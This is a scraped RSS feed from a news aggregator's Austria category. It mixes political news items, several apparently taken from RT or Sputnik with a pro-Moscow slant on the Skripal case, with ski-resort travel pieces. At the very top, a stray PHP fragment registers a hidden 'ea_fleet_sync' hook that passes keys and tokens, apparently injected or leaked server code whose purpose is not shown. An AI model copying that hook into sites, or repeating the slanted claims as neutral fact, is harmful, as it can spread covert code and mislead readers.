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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Austria – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 15 Nov 2018 14:13:16 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Austria – Brief News https://briefnews.eu 32 32 ‘Unconstitutional’: Neutral Austria wants no part of European army proposed by Macron, Merkel https://briefnews.eu/unconstitutional-neutral-austria-wants-no-part-of-european-army-proposed-by-macron-merkel/ https://briefnews.eu/unconstitutional-neutral-austria-wants-no-part-of-european-army-proposed-by-macron-merkel/#respond Thu, 15 Nov 2018 14:13:16 +0000 http://briefnews.eu/unconstitutional-neutral-austria-wants-no-part-of-european-army-proposed-by-macron-merkel/ If Germany and France get their wish of developing a European army, Austria wants no part of it. The defense minister’s office said it would opt out, as it would conflict with Vienna’s constitution and neutrality.

Defense Minister Mario Kunasek’s office told Kurier newspaper that while Austria has no details on the army proposed by French President Emmanuel Macron and German Chancellor Angela Merkel, it would still walk away from it because it is “contrary to the Austrian constitutional position” since Austria is neutral.

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FILE PHOTO Emmanuel Macron arrive to attend a military exercise at the military camp of Suippes, near Reims, France © Reuters

The idea of a unified European army was proposed by Macron earlier this month, with the French president insisting it is necessary in order to protect the continent from the likes of China, Russia, and “even the United States of America.”

Merkel was quick to put her support behind the proposal, saying that such an army would show the world that “there will never again be war between European nations.”

But US President Donald Trump isn’t so sure about that. He lashed out at the notion after Macron first mentioned it, reminding him that France’s enemy in both World Wars wasn’t the US, China, or Russia – it was Germany.

“They were starting to learn German in Paris before the US came along,” Trump tweeted.

Despite the feelings of France, Germany, Austria, or any other EU member states, a European army won’t actually happen, international affairs specialist John Laughland told RT earlier this week.

“The idea of the European army is a complete fiction; there’s never been a European army and there cannot be a European army,” he said, noting that the EU cannot be legally independent from NATO unless it changes its treaties.

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However, the European Commission seems to think it’s perfectly possible. A spokesman said the Commission is “delighted” by Macron and Merkel’s backing of the idea. That should perhaps come as no surprise, as Juncker himself put his support behind a European army four years ago.

“We have many times explained how we see these things. This is the Commission that wants Europe to have a meaningful defense identity,” the spokesperson said.

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]]> https://briefnews.eu/unconstitutional-neutral-austria-wants-no-part-of-european-army-proposed-by-macron-merkel/feed/ 0 Closure of mosques in Austria may lead to ‘war between cross & crescent’ – Erdogan https://briefnews.eu/closure-of-mosques-in-austria-may-lead-to-war-between-cross-crescent-erdogan/ https://briefnews.eu/closure-of-mosques-in-austria-may-lead-to-war-between-cross-crescent-erdogan/#respond Sun, 10 Jun 2018 17:13:50 +0000 http://briefnews.eu/closure-of-mosques-in-austria-may-lead-to-war-between-cross-crescent-erdogan/ Austria’s move to close mosques and expel “foreign-funded” imams has infuriated Turkish President Recep Tayyip Erdogan, warning of a war “between cross and crescent” and threatening that Ankara will not sit idle.

“These measures taken by the Austrian prime minister are, I fear, leading the world towards a war between the cross and the crescent,” Erdogan said in a speech in Istanbul on Sunday. Crescent, which can be seen on mosques and other Muslim entities, symbolizes Islamic religion since time immemorial.

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“They say they’re going to kick our religious men out of Austria. Do you think we will not react if you do such a thing?” he asked, quoted by AFP. “That means we’re going to have to do something,” Erdogan added without elaborating.

Earlier this week, Austrian Interior Minister Herbert Kickl from the right-wing FPO party announced that the country vows to close seven mosques and potentially expel dozens of Turkish-funded imams and their families in Austria’s crackdown on “political Islam.”

Austrian officials, including Chancellor Sebastian Kurz, claimed the move was to battle radicalization and growing ‘parallel societies’. However, this explanation did not sit well with Ankara. “Austria’s decision to close seven mosques and expel imams is a reflection of the Islamophobic, racist and discriminatory wave in this country,” Ibrahim Kalin, the spokesman of Tayyip Erdogan, commented on Twitter.

According to him, Vienna wants to “to target Muslim communities for the sake of scoring cheap political points.” Ankara had also called the decision “racist.”

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Previously, Austrian government moved to ban girls from wearing headscarves in kindergartens and primary schools. The move was part of the so-called “Child Protection Act”, presumably aimed at reinforcing Austrian culture and encouraging better assimilation.

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Wörthersee — the premier Volkswagen GTI meetup in the world — starts in just a few days in a small town in Austria. The event has been embraced by both Volkswagen and its fans. We usually end up seeing some pretty sweet concept cars like a Porsche-powered VW Type 2 or the bonkers mid-engine VW GTI W12. This year, we’ll see the new VW Golf GTI TCR Prototype, a near-production ready hot hatch that goes into production this fall.

The name comes from the GTI TCR race car. The production version is powered by a turbocharged inline-four making 286 horsepower and 273 pound-feet of torque. That’s just six horsepower shy of the VW Golf R but 20 fewer ponies than the GTI Clubsport S. Power is sent to the front wheels through a seven-speed DSG dual-clutch transmission. Traction is kept in check thanks to a mechanical limited-slip differential. The car’s top speed is 155 mph, though the limiter can be removed and the top speed raised to 164 mph.

No word on if the production version will make it to the U.S. We’d love to see the car here, but there might be too much in-house competition with the Golf R.

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Despite more than a dozen European nations expelling Russian diplomats over the Skripal case, not every nation or politician is on board. Dissenting voices are starting to be heard, including that of the Austrian government.

Speaking to Sputnik following the announcements by various EU and other European countries, Austrian government spokesman Peter Launsky-Tieffenthal said that Vienna “will not take any measures at the national level, we will not expel diplomats.

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“The reason for this is that we intend to keep open channels of dialogue with Russia. Austria is a neutral country and a kind of bridge between East and West. But we support the decision to recall the EU ambassador from Moscow.”

Other countries were already exercising caution before the Monday announcements. Ahead of a meeting with Theresa May at a European Council summit dinner in Brussels last week, Greek Prime Minister Alexis Tsipras stressed the need for an investigation into the Skripal case before jumping to conclusions. “We have to express our solidarity to the UK, to the British people, but at the same time we need to investigate,” Tsipras said.

Luxembourg Prime Minister Xavier Bettel, a former criminal lawyer, said he wanted to hear what May had to say at the summit before making a decision.
Meanwhile, the head of Germany’s Die Linke party, Andreas Maurer, told Sputnik that the German position on the case of Sergei Skripal should not have been solely guided by Berlin’s solidarity with the European Union. Berlin chose to expel four Russian diplomats.

“I am looking now, that the Foreign Minister of Germany [Heiko Maas] is talking about the decision as a sign of solidarity – this decision on the part of Germany to send out four diplomats. This is of course, in my opinion, you have to very critically look at this. In this regard, the decision should not be taken because of some sort of solidarity. Whatever problems or errors there may have been, the position of Germany should not have been built upon solidarity,” Maurer said.

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Maurer went on to note that Russia would respond with the expulsion of diplomats from all of those countries, adding that such moves will not lead to a normalization of ties. “We all know that Russia is obliged to reply to the expulsion of its diplomats. I am certain that German diplomats, which are now in Russia, will also be expelled from the country. We know that this always happens. This will not lead to solving the problem,” he said.

Even as Western countries continue to blame Moscow for the March 4 poisoning of Sergei Skripal and his daughter in Salisbury, UK – despite a lack of evidence – Mauer expressed a different opinion: “It is obvious here that the West does not want proof concerning the matter, what happened here, and how it happened. They have made a purely political decision, a symbolic decision, we all know this, and it is just ridiculous to expel four diplomats when we will not solve the problem in this way.”

Russia denies having any involvement in the poisoning of Skripal and his daughter Yulia, and has offered its full cooperation in the investigation. Its request for a sample of the toxic agent used in the attack has been denied by the UK.

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Speaking in Brussels on Monday, Karin Kneissl said that she viewed the poisoning of former double-agent Sergei Skripal and his daughter in Salisbury, England, as “abhorrent.” However, unlike its British counterparts, Austria wants to have the full picture before casting blame on someone specifically.

“Our position is: First there is the need to establish a full picture of events in joint cooperation with the Chemical agency [Organization for the Prohibition of Chemical Weapons (OPCW)] and all those involved” the foreign minister said.

Kneissl’s cautionary remarks come less than a week after a French government spokesperson said it was too early to discuss retaliatory measures against Russia, as its involvement in the case has yet to be established.

“We don’t do fantasy politics. Once the elements are proven, then the time will come for decisions to be made,” the spokesperson told a press conference shortly after British Prime Minister Theresa May announced she would be expelling 23 Russian diplomats over the poisoning.

The French government’s position on the matter quickly took a U-turn, however, with the Elysee Palace releasing a follow-up statement declaring Russia’s culpability in the attack. “France shares Britain’s assessment that there is no other plausible explanation and reiterates its solidarity with his ally,” the statement said.

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On Monday, the EU’s Foreign Affairs Council released a statement hailing the UK’s “commitment” to work closely with the OPCW, and calling on Russia to “provide immediate, full and complete disclosure of its Novichok program” to the organization.

Novichok is a Soviet-era nerve agent allegedly used in the March 4 incident. The UK has so far failed to send a formal inquiry to Moscow about the case, although Foreign Secretary Boris Johnson said that London will soon provide the OPCW with samples of the nerve agent used in the case. Johnson had earlier accused Russian President Vladimir Putin of personally ordering the attack.

Moscow has countered that view. “The fact, that they [UK officials] categorically reject to file an official request and deliberately and arrogantly fan anti-Russian rhetoric in the public sphere bordering on hysteria, indicates that they clearly understand they have no formal pretext to go down a legal road,” Russian Foreign Minister Sergey Lavrov said on Friday.

On Monday, Johnson doubled down on his inflammatory rhetoric, describing Russian denials of responsibility in the nerve agent attack as “increasingly absurd.”

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St Anton in Austria has 300 miles of sweeping pistes

Today it is a pocket dynamo, transforming with the times but in close touch with its traditional Tyrolean roots.

Set on the pinnacle-packed Arlberg massif, peaks tower to over 9,000ft and more than 300 miles of sweeping pistes and fierce powder fields are a 70-minute drive or scenic train ride away from Innsbruck.

Here the super-modern, in the shape of classy hotels and cable cars – their futuristic structures beautiful enough to earn a Grand Designs slot – carves an elegant counterpoint to candlelit restaurants, stylish boutiques, galleries and skating and curling rinks.

St Anton is a heady brew like nowhere else, a local told me as she boarded her toboggan one morning for her commute to work, reflecting, “Sometimes when you are a small place and when you get bigger you surrender your soul, but we’ve not done that.”

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You can almost touch the slopes from the chalet-style Hotel Post.

Just six minutes from the ski lifts in the heart of the village, the Post’s beguiling mix of old-style elegance and up-to-date comforts has been drawing travellers since 1896.

Bedrooms, with wi-fi, music hub and TV, have ample space for bulky kit and the bath’s generous dimensions seem made for wallowing to soothe aching limbs.

Pillows are specially stuffed; the stone pine shavings and spelt will certainly give your sinuses something to remember.

A surprisingly big and pretty pool, complete with neck massager, is the centrepiece of a wellness spa with Finnish and bio saunas, steam baths and water beds.

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An hour relaxing there makes a fine prelude to a Post dinner. Our Gala Night menu included courses of cognac-infused courgettes and slices of smoked salmon terrine, truffle ravioli and a jolly session mingling with other guests while listening to the Post’s resident pianist in its snug lounge bar.

For a gentle warm-up catch the sun and head up Rendl gondola on St Anton’s quieter southern side, enjoy a sunny blue run before heading down the long, tougher red slope to the village centre.

Then take a moment to admire the huge Ferris wheel technology of the Galzig gondola before setting your sights on the Valluga, at 9,222ft the highest accessible peak in the area.

From its stunning sightseeing platform you can take in a 360-degree view of some of the eastern Alps’ highest mountains.

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You can almost touch the slopes from the chalet-style Hotel Post

Take the cable car back to the first station and ski the powdery red runs down to the bottom.

Alternatively jump on the Gampen chairlift and then the Kapall right to the top and sweep down some leisurely blues dropping off at the infamous MooserWirt bar.

Stay too long and you risk joining the ranks of the over-refreshed taking a rest on the slopes before completing the short run back to the village.

The new Flexenbahn lift system, which opened last winter, links St Anton and its neighbouring villages of Stuben, Lech and Zurs into a giant network that makes the Arlberg the biggest connected ski area in Austria, saving 120-odd bus journeys as well as being the fifth biggest in the world.

Bravehearts chasing bragging points will relish its 40-mile downhill stamina fest, the Run of Fame, that takes skiers on an enormous circuit with rises and falls the equivalent of 59,000ft.

Don’t miss skiers whirling and leaping down a floodlit slope to the town in a blizzard of acrobatics.

Some pirouette on vintage wooden planks while others blast a course in fancy dress, trailed by glowing balloons or fountains of fireworks.

This free night-time spectacular, a joyous snapshot of Alpine winter games past and present, has become a regular hot date.

Dubbed “the mother of all après ski bars” the MooserWirt and its neighbour the Krazy Kanguruh (KK) high on the hill overlooking the village are still top stop-offs where foaming rounds of weiss (malted wheat) beer and cheesy pop get the customers (Euro dentists and doctors) at Mooser or ski bums at KK, dancing – more often than not on the tables.

Down in the village make some noise – everyone else does – at Basecamp, a partly alfresco bar just steps away from the main lift station.

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Burn the candle a bit more and dance to funky DJ sets at the sleek St Anton bar, or for contrast settle down with a glühwein and an acoustic set in cosy chalet-style Underground.

If loud sounds are your thing (and much Scandi head-banging) then the Hotel Post’s Piccadilly live music bar is the place, or groove to club classics next door at its Postkeller bar.

A few bracing runs and you are in the upmarket hamlet of St Christoph, where hearty mountain fare reaches gourmet heights at the Hospiz Alm.

Famed for the slide that saves you clomping down the stairs to the loo, its wine cellar also boasts a world-class Bordeaux collection, with 2,900 large- format bottles.

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The menu features filling perennials such as Tyroler Grostl, a bacon, onion and potato fry up, wiener schnitzel (crispy veal cutlets) and kaiserschmarrn, chopped pancakes with cream and plum sauce.

A great way of avoiding the chill but still catching St Anton’s wonderful The Snow Must Go On ski show is to bag a £26 ticket for a warm, ringside sofa seat in the Karl Schranz stadium, where you can help yourself from a chicken casserole and apple strudel buffet and watch from picture windows as the action unfolds.

If you are missing some culture, you could attend a performance at St Christoph’s new Arlberg1800, now Europe’s highest concert hall and picture gallery.

Be sure to find time, too, for a visit to St Anton’s Museum, the splendidly ornate art nouveau Villa Trier, surrounded by its own small park, whose exterior featured in the  lm Chalet Girl.

Admire the sweeping staircase and panelled ceilings, enjoy fine dining in the restaurant and revel in the wintry romance of it all.

Then, for a new perspective on your stay, visit its terrific exhibition.

This charts the village’s history and transformation from hard-pressed rural community – whose youngsters (Schwabenkinder or Swabian children), some as young as six, were dispatched as seasonal workers to avoid starvation in winter and provide cheap labour – to its glory days now as a centre of sporting excellence and leisure providing pleasure for thousands.

Ultimately it’s a story of hope – and there’s a lot of that to go around in St Anton.

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GETTING THERE 

Inghams (01483 79 1114/inghams.co.uk) offers seven nights at the Hotel Post, St Anton from £919 (two sharing), half-board.

Price includes return flights from London Gatwick to Innsbruck and transfers.

St. Anton tourism: stantonamarlberg.com

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The Beatles visited Obertauern in 1965

With capes, caps, skinny legs and zany, windmilling arms, they are instantly recognisable as pop icons The Beatles.

Sadly, this John, Paul, George and Ringo – being wrought-metal statues perched above the ski resort of Obertauern – are unable to deliver a greatest hits medley.

But their surreal cameo here celebrates the coolest of après-ski yarns.

The real Lennon, McCartney, and Co. visited Obertauern in 1965 to shoot scenes for their comedy adventure film, Help!

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With Ticket to Ride playing as the soundtrack, they fled on skis from a mad professor and a sinister cult leader, both after a sacred ring which was stuck on Ringo’s finger – don’t forget, it was the swinging sixties.

The village was chosen because, at 5,500 ft above sea level, it was one of the few to guarantee snow during the Easter filming slot.

It wasn’t until 50 years later tourist chiefs began to make more of their place in pop history by commissioning the Skiing Beatles statues.

Down below lies a cluster of hotels and apartments, with all essential services.

You arrive via a 90-minute transfer from Salzburg airport, climbing through magnificent scenery to a small section of the Alps called the Radstadt Tauern. Since Help! was filmed, they have increased the amount of skiable slope to 62 miles – 38 miles of blue, 21 of red and three of black.

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The village was chosen because, at 5,500 ft above sea level, it was one of the few to guarantee snow

Because my piste navigation is as average as my skiing, I began by blundering onto black – followed by a backside-first, helter-skelter plunge which seemed to last forever.

Snowfall is so reliable it can turn up in August and is virtually guaranteed through a season lasting from mid-November to sun-kissed May. 

You can ski into and out of most hotels without drive or a hike, and hop easily between slopes, courtesy of 18 chairlifts, one gondola and six tows.

There are 19 miles of cross-country trails, and circuits include the 12-mile Tauernrunde, skirting the village, and the Super Seven bowl, joining up the seven highest peaks.

Among the novelties are a snowpark packed with jumps, bumps and obstacles, night skiing and slopes with speed measuring equipment.

Many of the hotels are those which welcomed the 66-strong Beatles’ entourage and the hordes of screaming girl fans.

Try Hotel Edelweiss if you want to sleep in the same rooms as the boys – 502, 503, 504 and 505, to be precise.

Or try the Marietta, where they hung out after filming and played an impromptu set for their film producer’s birthday – their only gig in Austria.

Hotel Das Seekarhaus, a swish, four-star hotel situated on the piste, has probably the best Beatles tale of all in its 73-year-old owner Gerhard Krings.

Gerhard was one of four ski instructors selected as body doubles for the stars to perform the tricky ski manoeuvres.

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Many of the hotels are those which welcomed the 66-strong Beatles’ entourage and the hordes of fans

Incredibly, he had never heard of the band but donned a Beatles outfit to become a dead ringer for George Harrison. “We were with The Beatles for the whole time they made the film,” he said. It was a fun experience. All nice. We were just like them, young people.

I remember once when a bus stopped and the girls came out and said, ‘Please autographs?’ A lot of girls had autographs from us – not from The Beatles.”

He shares his memories with guests through black-and-white photos from the movie set, framed on the restaurant wall.

Nostalgia is also on the drinks menu, with Flower Power special cocktails – like Yellow Submarine and Hey Jude – served in The Beatles Bar. I stayed at Hotel  Tauernglöckl, a four-star, traditional mountain hotel consisting of big rooms and self-contained apartments.

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Many boast stunning views of the slopes, and there is a handy spa and restaurant pizzeria serving hearty dishes.

If the heavy eating leaves you a little lethargic, try funky cafe-bar Mundwerk for lighter, international cuisine.

It’s not easy deciding where to go for a nightcap as there are so many, but Lurzer Alm does them well.

A landmark bar resembling the Hansel and Gretel fairy tale house, it is the brainchild of Herbert Lurzer, Paul McCartney’s body double from The Beatles movie.

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Snowfall is so reliable it can turn up in August and is virtually guaranteed through the season

With huge beer mugs and revellers urged to dance on tables or pole dance on the bar, they guarantee you “action until the floorboards creak”.

But if, like me, you actually remember when The Beatles were all the rage, then you may wish to call it a hard day’s night.

THE KNOWLEDGE

Crystal Ski Holidays (020 8610 3123/crystalski.co.uk) offers seven nights at Hotel Tauernglöckl from £669 (two sharing), half board. Price includes return flights from Gatwick to Salzburg and transfers.

Obertauern tourism: obertauern.com Salzburgerland tourism: Salzburgerland.com

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Thousands of demonstrators have gathered in Vienna to protest the swearing-in of the new Austrian government. The rally targeted the anti-immigrant Freedom Party of Austria (FPO), which has joined the coalition government.

Up to 6,000 people gathered in the Heldenplatz area near the official residences of the Austrian president and chancellor, Vienna police said on Twitter. Members of anti-fascist, feminist and left-wing student groups are among those protesting against the coalition between the conservative Austrian People’s Party and the nationalist FPO. The demonstrators held banners reading “Nazis out” and “Don’t let Nazis govern.” 

Some 1,500 police officers were deployed in Vienna, Kleine Zeitung newspaper reported. Photos on social media show protesters setting off firecrackers at the rally.The protesters began a fire in Heldenplatz, police later wrote on Twitter.

The FPO officially joined Austria’s new coalition government on Friday after it struck an agreement with Sebastian Kurz’s Austrian People’s Party (OVP), following the OVP’s resounding success in October’s parliamentary elections. The FPO came third with 26 percent of the vote, less than 1 percent behind the second-placed Social Democrats.

The FPO, which returned to the Austrian government after an absence of almost 18 years, is known for its hardline anti-immigrant stance – helping it gain public support amid a massive inflow of refugees to Austria in recent years.

Earlier, FPO leader Heinz-Christian Strache vowed that his party would work to rescind anti-Russian sanctions as part of the new government. The FPO would “seek a solution in the interests of Europe” that would allow “Europe and Russia to come together once again,” he said.

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No, it’s not Glastonbury, Wembley or the O2. It’s somewhere so far out of their comfort zones it’s very unlikely you’ll know the answer. 

So to put you out of your misery it is Ischgl. You’re probably none the wiser, unless you are a skier or snowboarder. 

For Ischgl is a brilliant ski resort in the next valley to better known St Anton in Austria. No one has ever seen the stars hurtling down the slopes but thousands have seen them rocking on-stage high up in the mountains to celebrate the end of the ski seasons. The Top of the Mountain concerts started in 1995 and every year they have helped Ischgl attract more and more British skiers. 

We spent a week in the marvellous, easy-to-get-to resort and discovered why everyone seems to go home with a smile on their face. 

The 150 miles of slopes are first class. The snow from November to May is usually excellent, the town is fun and the hotels are top notch. 

Everywhere we went, whether up on the mountain or strolling through the interesting streets with their inviting shops and bars, young and old were having a great time. 

We stayed at the excellent 4-star Seiblishof Hotel where owners Dagmar and Christoph guarantee an “unforgettable time”. And it was. 

The reception area has a big inviting bar which was always full of laughter. The rooms were very unusual but extremely comfortable. Our suite had a bath and shower which were curiously positioned in the centre of the room and the loo was hidden away in a wardrobe-type cupboard. Once we got used to it, everything seemed extremely well designed and practical. Breakfast and the four-course dinners, including a splendid salad bar, never disappointed. 

All the facilities at the hotel were well thought out and the swimming pool, spa and childcare were excellent. 

The hotel is situated just a short walk up the main street to the best lift which whisks you over the tree-topped valley to a ski bowl where there are wonderful pistes for skiers of all abilities, from first-timers to the most experienced. 

While we were there, we were bathed in all-day sunshine, while snow fell on most nights. On one occasion we watched as about 12 inches came down, leaving the pistes in magnificent shape.

That’s when we decided to take up the challenge of the “smugglers’ run”. These are pistes over the top of the mountain taking you into Switzerland. From the early 1900s smugglers used them during tough times.

Locals tell how their ancestors skied over the mountains carrying butter, cheese and fur in exchange for coffee, rice, flour and tobacco. 

All over the slopes we found brilliant restaurants. At The Berg, we had the finest pizzas we have tasted and down in the town, the steaks at the Trofana Royal hotel were also excellent. 

As in most Austrian resorts, the après-ski was outstanding. 

The Elisabeth Arthotel was raucous but tremendous fun. And when the  Trofana Royal stopped cooking steaks, it went wild. 

Best of all was the Kuhstall near the Silvrettabahn lift which was warm, welcoming and very friendly. 

But no matter how raucous the partying got, at 8pm it all calmed down – in the streets, anyway. A local by-law forbids anyone wearing ski boots from walking around the town. 

The law is rigorously enforced and anyone flouting it faces a £2,000 fine. It was introduced to ensure that those who wanted to go to bed early could get a good night’s sleep. 

Ischgl is great for all ages, all skiing abilities and can be as noisy or as quiet as you like. You won’t regret visiting. 

THE KNOWLEDGE 

Crystal Ski Holidays (0208 610 3123/crystalski.co.uk) offers seven nights at the Family Resort Seiblishof in Ischgl, Austria from £1,085 (two sharing), half board. Price includes return flights from London Gatwick to Innsbruck and transfers. Book by October 2 and save over £200 including buy-one-get-one-half-price lift pass and €100 hotel credit. Ischgl tourism: ischgl.com

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